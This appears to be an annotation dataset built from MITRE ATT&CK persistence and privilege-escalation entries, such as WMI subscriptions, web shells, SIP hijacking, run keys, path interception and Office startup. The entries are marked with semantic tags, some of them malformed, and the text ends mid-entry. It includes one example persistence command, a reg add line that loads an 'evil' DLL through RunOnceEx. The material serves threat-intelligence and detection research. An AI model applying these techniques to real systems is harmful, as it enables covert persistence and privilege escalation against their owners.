**<attribute>**Winlogon\Userinit**<\attribute>** - points to userinit.exe, the user initialization program executed when a user logs on

**<attribute>**Winlogon\Shell **<\attribute>**- points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence. **<\procedure>**

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Windows Management Instrumentation Event Subscription**<\TechniqueName>**

**<id>** T1084**<\id>**

**<procedure>**Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may **<what>**use**<\what>** the capabilities of **<where>**WMI**<\where>** to **<why><what>**subscribe**<\what>** to an **<where>**event**<\where><\why>** and **<why>**execute arbitrary **<where>**code**<\where><why>** when **<when>** that **<object>**event**<\object>** occurs**<\when>**, providing persistence on a system. Adversaries may attempt to **<why><what>**evade**<\what>** detection**<\why>** of this technique by **<what>**compiling**<\what>** **<where>**WMI scripts**<\where>**. [1] Examples of events that may be subscribed to are the wall clock time or the computer's uptime. [2] Several threat groups have reportedly used this technique to maintain persistence. **<\procedure>** [3]

**<tactic>** Persistence , Privilege Escalation**<\tactic>**

**<TechniqueName>** Web Shell**<\TechniqueName>**

**<id>** T1100**<\id>**

**<procedure>**A Web shell is a Web script **<where>**that(Web Script)**<\where>** is **<what>**placed**<\what>** on an openly accessible Web server to allow an adversary to **<why><what>**use**<\what>** the **<where>**Web server**<\where>** as a gateway into a network**<\why>**. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). [1]

Web shells may serve as **<how\_alt>**Redundant Access**<\how\_alt>** or as a persistence mechanism in case an adversary's primary access methods are detected and removed. **<\procedure>**

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** Time Providers **<\TechniqueName>**

**<id>** T1209**<\id>**

**<procedure>**The Windows Time service (W32Time) enables time synchronization across and within domains. [1] W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. [2]

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. [2] The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. [2]

Adversaries may **<what>**abuse**<\what>** **<where>**this architecture(Time Providers)**<\where>** to **<why><what>**establish**<\what>** Persistence**<\why>**, specifically by **<how><what>**registering**<\what>** and **<what>**enabling**<\what>** a malicious **<where>**DLL**<\where>** as a time provider**<\how>**. **<when><condition><object>**Administrator privileges**<\object>** are required**<\condition>** for time provider registration**<\when>**, though execution will run in context of the Local Service account. [3] **<\procedure>**

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** Systemd Service**<\TechniqueName>**

**<id>** T1501**<\id>**

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.[1][2] Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands.

ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.

ExecReload directive covers when a service restarts.

ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

**<procedure>**Adversaries have **<what>**used**<\what>** **<where>**systemd functionality**<\where>** to **<why><what>**establish**<\what>** persistent **<where>**access**<\where>** to victim systems**<\why>** by **<how><what>**creating**<\what>** and/or **<what>**modifying**<\what>** **<where>**service unit files**<\where><\how>** that cause systemd to **<why><what>**execute**<\what>** malicious **<where>**commands**<\where>** at recurring intervals, such as at system boot**<\why>**.[3][4][5][6]

While adversaries typically **<when><condition><object>**require root privileges**<\object>** to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories**<\condition><\when>**, **<when><condition><object>**low privilege users**<\object>** can create/modify service unit files in directories such as ~/.config/systemd/user/**<\condition><\when>** to achieve user-level persistence**<\procedure>**.[7]

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** System Firmware**<\TechniqueName>**

**<id>** T1019**<\id>**

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. [1] [2] [3]

**<procedure><where>**System firmware**<\where>** like **<where>**BIOS**<\where>** and **<where>** (U)EFI**<\where>** underly the functionality of a computer and may be **<what>**modified**<\what>** by an adversary to **<why><what>**perform**<\what>** or **<what>**assist**<\what>** in malicious activity**<\why>**. Capabilities exist to **<what>**overwrite**<\what>** the **<where>**system firmware**<\where>**, which may give sophisticated adversaries a means to **<why><what>**install**<\what>** malicious **<where>**firmware updates**<\where><\why>** as a means of persistence on a system that may be difficult to detect**<\procedure>**.

**<tactic>** Persistence, Privilege Escalation **<\tactic>**

**<TechniqueName>** Startup Items**<\TechniqueName>**

**<id>** T1165**<\id>**

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items [1]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.

**<procedure>**An adversary can **<what>**create**<\what>** the appropriate **<where>**folders**<\where>**/**<where>**files**<\where>** in the **<attribute>**StartupItems directory**<\attribute>** to **<why><what>**register**<\what>** their own **<where>**persistence mechanism**<\where><\why>** [2]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an **<when>**adversary is **<condition>**able to modify an existing **<object>**Startup Item**<\object><\condition><\when>**, then they will be able to Privilege Escalate as well. **<\procedure>**

**<tactic>** Defense Evasion, Persistence**<\tactic>**

**<TechniqueName>** SIP and Trust Provider Hijacking**<\TechniqueName>**

**<id>** T1198**<\id>**

In user mode, Windows Authenticode [1] digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, [2] which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. [3]

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) [4] to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all [5]) and are identified by globally unique identifiers (GUIDs). [3]

**<procedure>**Similar to **<how\_alt>**Code Signing**<\how\_alt>**, adversaries may **<what>**abuse**<\what>** **<where>**this architecture(SIP and Trust Provider)**<\where>** to **<why><what>**subvert**<\what>** **<where>**trust controls**<\where><\why>** and **<why><what>**bypass**<\what>** **<where>**security policies**<\where><\why>** that allow only legitimately signed code to execute on a system. Adversaries may **<what>**hijack**<\what>** **<where>**SIP**<\where>** and **<where>**trust provider components**<\where>** to **<why><what>**mislead**<\what>** **<where>**operating system**<\where>** and **<where>**whitelisting tools**<\where><\why>** to **<why><what>**classify**<\what>** malicious (or any) **<where>**code**<\where>** as signed**<\why><\procedure>** by: [3]

**<procedure><what>**Modifying**<\what>** the **<where>**Dll**<\where>** and **<where>**FuncName Registry values**<\where>** in **<attribute>**HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP\_GUID}**<\attribute>** that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By **<how><what>**pointing**<\what>** to a maliciously-crafted **<where>**DLL**<\where><\how>** with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP [6] (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). **<\procedure>**

**<procedure><what>**Modifying**<\what>** the **<where>**Dll**<\where>** and **<where>**FuncName Registry values**<\where>** in **<attribute>**HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP\_GUID}**<\attribute>** that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By **<how><what>**pointing**<\what>** to a maliciously-crafted **<where>**DLL**<\where><\how>** with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP [6] (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. **<\procedure>**

**<procedure><what>**Modifying**<\what>** the **<where>**DLL**<\where>** and **<where>**Function Registry values**<\where>** in **<attribute>**HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID}**<\attribute>** that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). **<\procedure>**

Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

**<procedure><what>**Hijacking**<\what>** **<where>**SIP**<\where>** or **<where>**trust provider components**<\where>** can also **<why><what>**enable**<\what>** persistent **<where>**code execution**<\where><\why>**, since these malicious components may be invoked by any application that performs code signing or signature validation<\**procedure>**. [3]

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Shortcut Modification**<\TechniqueName>**

**<id>** T1023**<\id>**

**<procedure>**Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could **<what>**use**<\what>** **<where>**shortcuts**<\where>** to **<why><what>**execute**<\what>** their **<where>**tools**<\where>** for persistence**<\why>**. They may **<what>**create**<\what>** a new **<where>**shortcut**<\where>** as a means of indirection that may **<how><what>**use**<\what>** **<where>**Masquerading**<\where><\how>** to **<why><what>**look**<\what>** like a **<where>**legitimate program**<\where><\why>**. Adversaries could also **<what>**edit**<\what>** the **<where>**target path**<\where>** or entirely **<what>**replace**<\what>** an **<where>**existing shortcut**<\where>** so **<why>**their **<where>**tools**<\where>** will be **<what>**executed**<\what>** instead of the intended legitimate program**<\why><\procedure>**.

**<tactic>** Privilege Escalation, Persistence**<\tactic>**

**<TechniqueName>** Setuid and Setgid **<\TechniqueName>**

**<id>** T1166**<\id>**

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively [1]. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].

**<procedure>**An adversary can take advantage of this to either a **<why>** do shell escape**<\why>** or **<** why**>**exploit vulnerability **<\why>**in an application with the **<how>**setsuid or setgid bits**<\how>** to **<why>**get **<where>**code**<\where>** **<what>**running**<\what>** in a different user’s context**<\why>**. Additionally, adversaries can <what>use<\what> <where>this mechanism<\where> on their own malware to make sure they're able to execute in elevated contexts in the future**<\procedure>** [2].

**<tactic>** Privilege Escalation, Persistence**<\tactic>**

**<TechniqueName>** Service Registry Permissions Weakness**<\TechniqueName>**

**<id>** T1058**<\id>**

Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. [1]

**<procedure>**If the **<when><condition><object>**permissions**<\object>** for users and groups are not properly set**<\condition><\when>** and **<when><condition>**allow access to the **<object>**Registry keys**<\object><\condition>** for a service**<\when>**, then adversaries can **<what>**change**<\what>** the service **<where>**binPath**<\where>**/**<where>**ImagePath**<\where>** to **<why><what>**point**<\what>** to a different **<where>**executable**<\where>** **<\why>** under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to **<why><what>**gain**<\what>** persistence**<\why>** and/or **<why>**privilege escalation**<\why>** to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService)

Adversaries may also **<what>**alter**<\what>** **<where>**Registry keys**<\where>** associated with **<attribute>**service failure parameters**<\attribute>** (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted**<\procedure>**.[2]

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Security Support Provider**<\TechniqueName>**

**<id>** T1101**<\id>**

**<procedure>**Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: **<attribute>**HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages**<\attribute>** and **<attribute>**HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages**<\attribute>**. An adversary may **<what>**modify**<\what>** these **<where>**Registry keys**<\where>** to **<why><what>**add**<\what>** new **<where>**SSPs**<\where><\why>**, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called**<\procedure>**. [1]

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Screensaver**<\TechniqueName>**

**<id>** T1180**<\id>**

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.[1] The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.

**<procedure>**The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:

**<attribute>**SCRNSAVE.exe**<\attribute>** - set to malicious PE path

**<attribute>**ScreenSaveActive**<\attribute>** - set to '1' to enable the screensaver

**<attribute>**ScreenSaverIsSecure**<\attribute>** - set to '0' to not require a password to unlock

**<attribute>**ScreenSaverTimeout**<\attribute>** - sets user inactivity timeout before screensaver is executed

Adversaries can **<what>**use**<\what>** **<where>**screensaver settings**<\where>** to **<why><what>**maintain**<\what>** persistence**<\why>** by **<how><what>**setting**<\what>** the **<where>**screensaver**<\where><\how>** to **<why><what>**run**<\what>** **<where>**malware**<\where>** after a certain timeframe of user inactivity**<\why><\procedure>**. [2]

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Registry Run Keys / Startup Folder**<\TechniqueName>**

**<id>** T1060**<\id>**

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. [1] These programs will be executed under the context of the user and will have the account's associated permissions level.

**<procedure>**

The following run keys are created by default on Windows systems: **<attribute>**HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run **<\attribute> <attribute>**HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce **<\attribute>** **<attribute>**HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run **<\attribute> <attribute>**HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce **<\attribute>**

The HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. [2] For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" [3]

The following Registry keys can be used to set startup folder items for persistence: **<attribute>**HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders**<\attribute>**

**<attribute>**HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders**<\attribute> <attribute>**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders**<\attribute>** **<attribute>**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders**<\attribute>**

Adversaries can **<what>**use**<\what>** these **<where>**configuration locations**<\where>** to **<why><what>**execute**<\what>** **<where>**malware**<\where>**, such as **<where>**remote access tools**<\where>** **<\why>**, to **<why><what>**maintain**<\what>** persistence through system reboots **<\why>**. Adversaries may also **<what>**use**<\what>** <where>Masquerading**<\where>** to <why>make the Registry entries look as if they are associated with legitimate programs<\why>. **<\procedure>**

**<tactic>** Defense Evasion, Persistence**<\tactic>**

**<TechniqueName>** Redundant Access**<\TechniqueName>**

**<id>** T1108**<\id>**

**<procedure>**Adversaries may **<what>**use**<\what>** more than one **<where>**remote access tool**<\where>** with **<how><what>**varying**<\what>** **<where>**command and control protocols**<\where><\how>** as a **<why>**hedge against detection**<\why>**. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to **<what>**gain access**<\what>** to **<where>**Valid Accounts**<\where>** to **<why><what>**use**<\what>** **<where>**External Remote Services**<\where>** such as external **<where>**VPNs**<\where>** **<\why>**as a way to **<why><what>**maintain**<\what>** **<where>**access**<\where>** despite interruptions to remote access tools **<\why>**deployed within a target network. [1]

**<how><what>**Use**<\what>** of a **<where>**Web Shell**<\where><\how>** is one such way to **<why><what>**maintain**<\what>** **<where>**access**<\where>** to a network through an **<how>**externally accessible Web server**<\how><\why><\procedure>**.

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Re-opened Applications**<\TechniqueName>**

**<id>** T1164**<\id>**

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.\* .plist.

**<procedure>**An adversary can **<what>**modify**<\what>** one of these **<where>**files**<\where>** directly to **<why><what>**include**<\what>** a **<where>**link**<\where>** to their malicious executable**<\why>** to **<why><what>**provide**<\what>** a persistence mechanism**<\why>** each time the user reboots their machine**<\procedure>** [1].

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Rc.common**<\TechniqueName>**

**<id>** T1163**<\id>**

During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts [1]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

**<procedure>**Adversaries can **<what>**use**<\what>** the **<where>**rc.common file**<\where>** as a way to **<why><what>**hide**<\what>** **<where>**code**<\where>** for persistence**<\why>** that will execute on each reboot as the root user **<\procedure>** [2].

**<tactic>** Persistence, Privilege Escalation**<\tactic>**

**<TechniqueName>** Port Monitors**<\TechniqueName>**

**<id>** T1013**<\id>**

**<procedure>**A port monitor can be set through the [1] API call to set a DLL to be loaded at startup. [1] This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. [2] Alternatively, an arbitrary DLL can be loaded if **<when>**permissions allow **<\when> <how><what>**writing**<\what>** a fully-qualified **<where>**pathname**<\where>** for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors**<\how>**.

The Registry key contains entries for the following:

Local Port

Standard TCP/IP Port

USB Monitor

WSD Port

Adversaries can **<what>**use**<\what>** **<where>**this technique(Port Monitors)**<\where>** to **<why><what>**load**<\what>** malicious **<where>**code**<\where>** at startup**<\why>** that will persist on system reboot and execute as SYSTEM. **<\procedure>**

**<tactic>** Defense Evasion, Persistence, Privilege Escalation**<\tactic>**

**<TechniqueName>** Plist Modification**<\TechniqueName>**

**<id>** T1150**<\id>**

**<procedure>**Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by .They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). Adversaries can **<what>**modify**<\what>** these **<where>**plist files**<\where>** to **<why><what>**point**<\what>** to their own **<where>**code**<\where>** **<\why>**, can **<what>**use**<\what>** **<where>**them(plist files)**<\where>** to **<why><what>**execute**<\what>** their **<where>**code**<\where>** in the context of another user**<\why>**, **<why><what>**bypass**<\what>** **<where>**whitelisting procedures**<\where><\why>**, or even <**what>**use**<\what>** **<where>**them(plist files)**<\where>** as a **<why>**persistence mechanism**<\why><\procedure>**. [1]

**<tactic>** Persistence, Privilege Escalation**<\tactic>**

**<TechniqueName>** Path Interception **<\TechniqueName>**

**<id>** T1034**<\id>**

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. [1]

**<procedure>**There are multiple distinct **<where>**weaknesses**<\where>** or **<where>**misconfigurations**<\where>** that adversaries may **<what>**take advantage**<\what>** of when **<how><what>**performing**<\what>** **<where>**path**<\where>** interception: **<\how>** **<how>**unquoted paths**<\how>**, **<how>**path environment variable misconfigurations**<\how>**, and **<how>**search order hijacking**<\how>**. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for **<why>**persistence if **<when><object>**executables**<\object>** are **<condition>**called on a regular basis**<\condition><\when>**, **<\why>** as well as **<why>**privilege escalation if **<when><condition>**intercepted **<object>**executables**<\object>** are started by a higher privileged process**<\condition><\when><\why>**. **<\procedure>**

Unquoted Paths

**<procedure>**Service paths (stored in Windows Registry keys) [2] and shortcut paths are vulnerable to path interception if the **<when><object>**path**<\object>** **<condition>**has one or more spaces**<\condition><\when>** and **<when><object>**path**<\object>** is **<condition>**not surrounded by quotation marks**<\condition><\when>** (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). [3] An adversary can **<what>**place**<\what>** an **<where>**executable**<\where>** in a **<attribute>**higher level directory of the path**<\attribute>**, and **<why>**Windows will **<what>**resolve**<\what>** that **<where>**executable**<\where>** instead of the intended executable**<\why>**. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program**<\procedure>**. [4] [5]

PATH Environment Variable Misconfiguration

**<procedure>**The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If **<when>**any **<condition><object>**directories**<\object>** are listed in the PATH environment variable before the Windows directory**<\condition>**, %SystemRoot%\system32**<\when>** (e.g., C:\Windows\system32), a **<where>**program**<\where>** may be **<what>**placed**<\what>** in the **<attribute>**preceding directory**<\attribute>** that is **<how><what>**named**<\what>** the sameas a **<where>**Windows program**<\where>** (such as cmd, PowerShell, or Python) **<\how>**, which will be executed when that command is executed from a script or command-line. **<\procedure>**

For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.

Search Order Hijacking

**<procedure>**Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. [6] [7] [8] However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may **<what>**take advantage**<\what>** of this **<where>**vulnerability**<\where>** by **<conjunctive><what>**creating**<\what>** a **<where>**program**<\where>** named after the improperly specified program and **<what>**placing**<\what>** **<where>**it(program) **<\where>** within the initiating program's directory**<\conjunctive><\procedure>**

For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. [9]

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** Office Application Startup**<\TechniqueName>**

**<id>** T1137**<\id>**

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

Office Template Macros

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. [1]

**<procedure><where>**Office Visual Basic for Applications (VBA) macros**<\where>** [2] can **<what>**inserted**<\what>** into the **<attribute>**base templated**<\attribute>** and **<what>**used**<\what>** to **<why><what>**execute**<\what>** **<where>**code**<\where><\why>** when **<when>**the **<condition>**respective **<object>**Office application**<\object>** starts**<\condition><\when>** in order to **<why><what>**obtain**<\what>** persistence**<\why>**. Examples for both Word and Excel have been discovered and published. By default, Word has a **<where>**Normal.dotm template**<\where>** created that can be **<what>**modified**<\what>** to **<why><what>**include**<\what>** a malicious **<where>**macro**<\where><\why>**. Excel does not have a template file created by default, but **<where>**one(macro) **<\where>** can be **<what>**added**<\what>** that will automatically be loaded. [3] [4]

Word Normal.dotm location:C:\Users(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm

Excel Personal.xlsb location:C:\Users(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

**<when>**An adversary may need to **<condition>**enable **<object>**macros**<\object><\condition><\when>** to execute unrestricted depending on the system or enterprise security policy on use of macros. **<\procedure>**

Office Test

**<procedure>**A Registry location was found that when a**<when><object>**DLL reference**<\object>** was placedwithin it(registry) **<\when>** the corresponding **<where>**DLL**<\where>**pointed to by the binary path would be **<what>**executed**<\what>** every time an Office applicationis started [5]

**<how>**HKEY\_CURRENT\_USER\Software\Microsoft\Office test\Special\Perf**<\how><\procedure>**

Add-ins

Office add-ins can be used to add functionality to Office programs. [6]

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. [7][8]

Outlook Rules, Forms, and Home Page

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.[9]

**<procedure>**Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. **<how>**Malicious **<where>**Outlook rules**<\where>** can be **<what>**created**<\what><\how>** that can **<what>**trigger**<\what>** **<where>**code execution**<\where>** when an **<when>**adversary **<condition>**sends a specifically crafted **<object>**email**<\object><\condition>** to that user**<\when><\procedure>**.[10]

**<procedure>**Outlook forms are used as templates for presentation and functionality in Outlook messages. **<how><where>**Custom Outlook Forms**<\where>** can be **<what>**created**<\what>** **<\how>**that will **<what>**execute**<\what>** **<where>**code**<\where>** when a **<when> <condition>**specifically crafted **<object>**email**<\object>** is sent**<\condition>** by an adversary utilizing the same custom Outlook form**<\when>** **<\procedure>**.[11]

**<procedure>**Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A **<how>**malicious **<where>**HTML page**<\where>** can be **<what>**crafted**<\what><\how>** that will **<what>**execute**<\what>** **<where>**code**<\where>** when **<when>**loaded by Outlook Home Page**<\when><\procedure>**.[12]

**<procedure>**To abuse these features, **<when>**an adversary requires **<condition>**prior access**<\condition>** to the **<object>**user’s Outlook mailbox**<\object><\when>**, either via an **<how>**Exchange/OWA server**<\how>** or via the **<how>**client application**<\how>**. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious **<where>**Home Pages**<\where>** will **<what>**execute**<\what>** when the **<when><condition>**right **<object>**Outlook folder**<\object>** is loaded/reloaded**<\condition><\when>** while malicious **<where>**rules**<\where>** and **<where>**forms**<\where>** will **<what>**execute**<\what>** when an **<when>**adversary **<condition>**sends a specifically crafted **<object>**email**<\object><\condition>** to the user**<\when><\procedure>**.[10][11][12]

**<tactic>** Persistence, Privilege Escalation**<\tactic>**

**<TechniqueName>** New Service**<\TechniqueName>**

**<id>** T1050**<\id>**

When operating systems boot up, they can start programs or applications called services that perform background system functions. [1] A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

